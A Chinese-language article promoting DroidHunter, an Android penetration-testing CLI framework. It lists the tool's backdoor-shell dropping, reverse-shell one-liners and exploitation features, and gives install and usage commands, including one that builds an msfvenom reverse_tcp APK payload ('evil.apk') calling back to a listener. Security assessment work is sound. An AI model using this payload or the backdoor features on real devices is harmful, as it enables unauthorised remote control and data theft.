DroidHunter – 渗透测试人员的 Android 安全评估利器

导语:DroidHunter 是一款专为授权渗透测试设计的 Android 安全评估框架,一站式整合设备管理、APK 静态分析、漏洞扫描、漏洞利用、报告生成等功能,黑客风格 CLI 界面,适合专业安全研究员使用。

工具背景

DroidHunter 由 HexSec Team / HexSec Community 开发维护,定位是面向授权 Android 安全评估、教育和专业渗透测试工作流的 CLI 工具。开发者同时接受 USDT(ERC-20)捐赠支持。项目托管于 GitHub,完全开源。

核心能力

  • 设备管理器 — 列出设备、获取设备信息、手动/自动 ADB WiFi 连接、截图、logcat、文件传输
  • APK 静态分析器 — 权限审计、硬编码敏感信息(API Key/AWS Key/Firebase 配置)、导出组件检测、CVE 映射、文件哈希计算、混淆检测
  • 网络扫描器 — 快速端口扫描、WiFi 信息、子网主机发现、MitM 代理引导
  • 漏洞扫描器 — CVE 映射(Stagefright/BlueBorne/StrandHogg/BlueFrag 等 30+ CVE)、Root 检测、Frida 检测、不安全存储(SharedPreferences/SQLite)、WebView 检查、任务劫持检测
  • 漏洞利用引擎 — Activity 启动、Broadcast 触发、Content Provider 数据拉取、Deep Link Fuzzer(20+ 路径)、ADB 后门 Shell 投放
  • Payload 生成器 — 支持 msfvenom Android APK(reverse_tcp/reverse_https)、6 种反弹 Shell 一句话(nc/bash/python3/perl/socat)、ADB 利用脚本、Base64/Hex 混淆
  • 报告生成器 — Dark glassmorphism 风格 HTML 报告 + JSON 结构化输出 + CLI 表格,带 CVE 链接和修复建议
  • 远程控制 — 集成 scrcpy,从交互菜单直接打开远程屏幕镜像
  • 截图展示

    DroidHunter 运行界面

    系统要求

    | 组件 | 必需 | 说明 | |——|——|——| | Python 3.8+ | ✅ | 运行环境 | | rich | ✅ | 终端 UI | | requests | ✅ | HTTP 检测 | | ADB | 可选 | 设备交互 | | scrcpy | 可选 | 远程屏幕镜像 | | Metasploit | 可选 | APK Payload 生成 | | Frida | 可选 | 运行时插桩 |

    安装方法

    # 克隆仓库
    git clone https://github.com/hexsecteam/DroidHunter.git
    cd DroidHunter
    

    创建虚拟环境

    python3 -m venv venv source venv/bin/activate

    安装依赖

    pip3 install -r requirements.txt

    可选:安装 ADB(Debian/Ubuntu)

    sudo apt install adb

    可选:安装 scrcpy(远程控制用)

    sudo apt install scrcpy

    运行

    python3 droidhunter.py --interactive

    常用命令示例:

    # 列出设备
    python3 droidhunter.py --devices
    

    分析 APK + 生成 HTML 报告

    python3 droidhunter.py --apk target.apk --report html --target-name "com.example.app"

    端口扫描

    python3 droidhunter.py --device ABC123 --port-scan

    漏洞扫描

    python3 droidhunter.py --device ABC123 --vuln-scan --pkg com.example.app

    CVE 检查

    python3 droidhunter.py --device ABC123 --cve-check

    生成 msfvenom APK Payload

    python3 droidhunter.py --payload reverse_tcp --lhost 192.168.1.100 --lport 4444 --payload-out evil.apk

    版权声明

    下载 DroidHunter
    © 版权声明
    THE END
    喜欢就支持一下吧
    点赞0 分享
    相关推荐
  • 暂无相关文章